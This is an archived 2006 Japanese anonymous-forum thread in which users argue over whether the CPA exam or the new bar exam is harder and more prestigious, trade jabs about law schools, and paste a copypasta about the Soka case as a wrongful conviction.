582 :一般に公正妥当と認められた名無しさん:2006/11/04(土) 18:29:09 ID:???
ダブルライセンスだと、資格維持のための経費が意外にかかるんだよ。
だから、普通の法律事務所に勤務しているなんて論外。
やはり、独立しないとね。そして、シナジーの高い分野に参入して、単価の高い仕事をしないと。
漏れは、事業再生、事業承継、ITシステムの導入などのコンサルを中心にやりたいと思っている。
都内ではなく地方でやるから、地元の大手企業や中小企業が相手というところだね。
もちろん、個人相手の法務や税務会計業務もやっていく予定。

583 :一般に公正妥当と認められた名無しさん:2006/11/04(土) 18:52:47 ID:???
>>579
会計士の短刀も前年度より合格者増えてるらしいじゃん
いづれにせよ難易度が上がってるとは思えないな。

584 :一般に公正妥当と認められた名無しさん:2006/11/04(土) 19:38:44 ID:???
会計士の試験は一括合格では難易度が上がった。
実際、論文式の問題は難化(合格発表はまだだが)

合格率90%だっけ?新司法試験短答式wwww

585 :一般に公正妥当と認められた名無しさん:2006/11/04(土) 19:44:01 ID:???
あげ

586 :一般に公正妥当と認められた名無しさん:2006/11/04(土) 19:57:11 ID:???
受かってもないのに試験の難易度を云々いうのは結構恥ずかしいぞ

587 :一般に公正妥当と認められた名無しさん:2006/11/04(土) 19:58:26 ID:???
高卒でも受かる会計士試験ですが何か?


588 :一般に公正妥当と認められた名無しさん:2006/11/04(土) 22:06:15 ID:???
>>579
一期既習のロー入試の倍率知ってんのかよ?w
司法の択一落ちがロー生煽ってるのに似てるな。まして会計士なんて誰でも受けられるだろ?
択一落ちに煽られるのも笑えるけど、会計「受験生」に煽られるとは思わなかったな。

589 :一般に公正妥当と認められた名無しさん:2006/11/04(土) 22:18:19 ID:???
まあ、でも一期が現行受かる見込みなくて、ローに逃避したやつが圧倒的に多いのは事実。

そうはいっても、会計士の不合格者じゃ、ローにすら受からないだろうけど

590 :一般に公正妥当と認められた名無しさん:2006/11/04(土) 22:29:06 ID:???
司法受験生ってだけで、他資格受験生見下すやつは多いけど、
会計士受験生ってだけで、今度は禁断の司法叩きかw
司法ヴェテと大差ないな。

591 :一般に公正妥当と認められた名無しさん:2006/11/04(土) 22:36:24 ID:???
禁断の司法叩きとか、
勝手に自らを神聖視する司法受験生ワロス。

592 :一般に公正妥当と認められた名無しさん:2006/11/04(土) 22:45:20 ID:???
司法試験と公認会計士の橋渡しに役立つスレッド

593 :一般に公正妥当と認められた名無しさん:2006/11/04(土) 23:01:07 ID:???
>>591
新60期だよ。

594 :みんな集まれ!:2006/11/04(土) 23:07:23 ID:???
★★【CIA】公認内部監査人【国際資格】★★
http://school5.2ch.net/test/read.cgi/exam/1110777000/l50

907 名前: 897 投稿日: 2006/11/04(土) 22:48:17 ID:RIkl47jn
>>898-905

某米系投資銀行だが、何か?
年収3,000万円だが、何か?
USCPAとCIAとそのほか日本の資格2つ持ってるが、何か?

595 :一般に公正妥当と認められた名無しさん:2006/11/04(土) 23:09:14 ID:???
ロー卒合格者は就職がないらしいね。

596 :一般に公正妥当と認められた名無しさん:2006/11/04(土) 23:13:20 ID:???
会計士って税理士と必死に争ってる資格?

597 :一般に公正妥当と認められた名無しさん:2006/11/04(土) 23:19:58 ID:???
それは争いの余地があるの?

598 :一般に公正妥当と認められた名無しさん:2006/11/04(土) 23:34:35 ID:???
ロー卒じゃ新会計士試験は到底無理。

599 :一般に公正妥当と認められた名無しさん:2006/11/04(土) 23:47:17 ID:???
新制度は司法合格者を優遇してるんだよね

600 :一般に公正妥当と認められた名無しさん:2006/11/04(土) 23:48:10 ID:???
ローにも入れない馬鹿が何を言っちゃってんのww

601 :一般に公正妥当と認められた名無しさん:2006/11/04(土) 23:48:57 ID:???
必死にageてる人って、税理士受験生だろw

602 :一般に公正妥当と認められた名無しさん:2006/11/04(土) 23:52:20 ID:???
実際には司法書士はともかく、税理士と弁理士は能力的にほぼ不可能だろう。
訴えられるのが落ち。
眼科医に外科手術は法律的には可能だが、実際に誰もやらないのと同じ。

603 :一般に公正妥当と認められた名無しさん:2006/11/04(土) 23:53:10 ID:???
制度が変わっても、会計士のステータスが弁護士を抜くことはないのは明白。

それこそ、税理士試験で一科目も受かってない低学歴が煽ってるんだろww
哀れすぎるw

604 :一般に公正妥当と認められた名無しさん:2006/11/04(土) 23:57:56 ID:???
会計士の新試験制度では、司法試験合格者は、短答免除、論文商法、租税法、民法免除
つまり、論文の会計学、監査論のみで会計士になれる。
会計士試験合格者が司法試験受験しようと思えば、ロースクールの受験からいる。
官僚さまは、
司法試験>>>>>>>>会計士試験
という位置づけを露骨に行っているWWWWWWWWWWWWWW


605 :一般に公正妥当と認められた名無しさん:2006/11/05(日) 00:02:40 ID:???
新60期スレにここのレス貼り付けたの誰だ??w
会計士受験生の皆さんも、制度が変わったようですが、頑張ってください。
公認会計士試験が難関なのは誰もが知ってるし、合格しても茨の道なのは同じなのかも。
マジな話、向き不向きはあるけど、ロー受験してみるのもいいかもよ。
二年コース(既習者)で、最低中央くらい受かりそうならおいしいですよ。

606 :一般に公正妥当と認められた名無しさん:2006/11/05(日) 00:19:28 ID:???
税理士って何?

607 :一般に公正妥当と認められた名無しさん:2006/11/05(日) 00:21:37 ID:???
ロー生はやっぱどこか「甘え」があるのがなぁ・・・
昔の司法試験受験者との差は一目瞭然だよ


608 :一般に公正妥当と認められた名無しさん:2006/11/05(日) 00:32:33 ID:???
旧受験生は人生棒に振りすぎ。
ローのほうがマシ。
それこそ、会計士の人とかと一緒に勉強していろんな知識も教えてもらえるし。
昔の受験生とか言ってるから、ずっとヴェテなんだろ。

609 :一般に公正妥当と認められた名無しさん:2006/11/05(日) 00:50:07 ID:???
まあ、新司法試験は、ロースクールにも合格できないなら、受験するなという意味なんだろうな。

でも、もう少ししたら、予備試験だっけ?それを考えたら微妙な改正だな。

610 :一般に公正妥当と認められた名無しさん:2006/11/05(日) 01:00:35 ID:???
会計士受験生にとっちゃいい迷惑

611 :一般に公正妥当と認められた名無しさん:2006/11/05(日) 01:19:38 ID:???
ロースクールなんて、入れるなんて考えたこともないw
会計士受験生でも入れるなら入りたいけど。

会計士>>>弁護士?
試験制度はともかく、もしそうなるなら、あと何年かかっても会計士になるよ。
それってイメージだろ。無理っぽいし。

金を扱う資格のほうがもうかるだろうし、弁護士も会計士も増えたときに、金になるのは
会計士だと思う。

612 :一般に公正妥当と認められた名無しさん:2006/11/06(月) 19:10:38 ID:???
菊間でも入れるロースクール

613 :一般に公正妥当と認められた名無しさん:2006/11/06(月) 21:57:12 ID:???
僕は道を歩いていて時々クスッと笑う事がある。
「ああ、自分は天下の司法試験合格者なんだ」と思うと嬉しさがこみ上げてくる。

激烈な司法試験を突破して半年、合格発表のあの日の喜びが未だに続いている。
「京大卒の法曹」
その言葉を聞くと、僕は自然と身が引き締まります。
京大法卒の検察官、弁護士等の先輩方に恥じない自分であっただろうか・・・
しかし先輩方は僕に語りかけます。
「いいかい?伝統と言うのは我々自身が創り上げていくものだよ」と。
僕は感動に打ち震えます。
「人が何をしてくれるかを問うてはならない。君が人に何をなしうるかを問いたまえ」
僕は使命感に胸が熱くなり、武者ぶるいを禁じ得ませんでした。
でもそれは将来日本の司法界を担う最高のエリートである僕達を鍛える為の
天の配剤なのでしょう。

嗚呼、何と素晴らしきかな京大法卒の法曹。
われわれ、京大法卒の法曹は、
社会の不正を指摘し、正し、伝統を日々紡いでいくのです。



614 :一般に公正妥当と認められた名無しさん:2006/11/19(日) 21:01:29 ID:gcRvv9oq
>>613

その割に、誤審が多いね。
以下、コピペ。


615 :一般に公正妥当と認められた名無しさん:2006/11/19(日) 21:09:13 ID:gcRvv9oq
草加事件は
犯人とされ起訴された少年の血液型がB型かO型で
被害者の女子中学生の血液がA型

・女子中学生(A型)の体に付いていただ液の血液型がAB型
・女子中学生の衣服に付着していた男性の体液の血液型もAB型

二審判決で「女子中学生の垢(A型)と少年のだ液(B型)が混合し、AB型を示した可能性がある」
として有罪を言い渡した

結局、少年達は抗告したが、東京高裁は抗告を棄却、
最高裁も89年7月、再抗告を退け 一般刑事裁判での再審請求に当たる
「保護処分の取り消し」を3度申し立てたが、
保護処分が既に終了したことなどを理由にいずれも退けられた

日本の裁判史に残る誤審・冤罪と言われてる

ちなみにこの事件を担当した検察には
行列が出きる住田弁護士もいた


616 :一般に公正妥当と認められた名無しさん:2006/11/19(日) 21:10:16 ID:gcRvv9oq

確かに、A型の垢とB型の唾液がまざって、
AB型の体液!になった≪可能性≫で(あるか、そんな馬鹿な事が!!)、
少年を有罪にした裁判官ってすごいよな。

ここは、現在日本なのか。
中世の魔女裁判のレベルで、一庶民の生涯の大事である
離婚・相続・損害賠償を裁かれる日本国民は、
本当に不幸である、と思う。


617 :一般に公正妥当と認められた名無しさん:2006/11/20(月) 23:44:56 ID:???
司法易化に反して、会計士は合格率据え置き。

618 :一般に公正妥当と認められた名無しさん:2006/11/24(金) 17:02:53 ID:???
>>604
会計士の商法民法なんてロー期末試験レベルだしw

619 :停止しました。。。:停止
真・スレッドストッパー。。。( ̄ー ̄)ニヤリッ

174 KB
■ このスレッドは過去ログ倉庫に格納されています

★スマホ版★ 掲示板に戻る 全部 前100 次100 最新50

read.cgi ver 05.02.02 2014/06/23 Mango Mangüé ★
FOX ★ DSO(Dynamic Shared Object)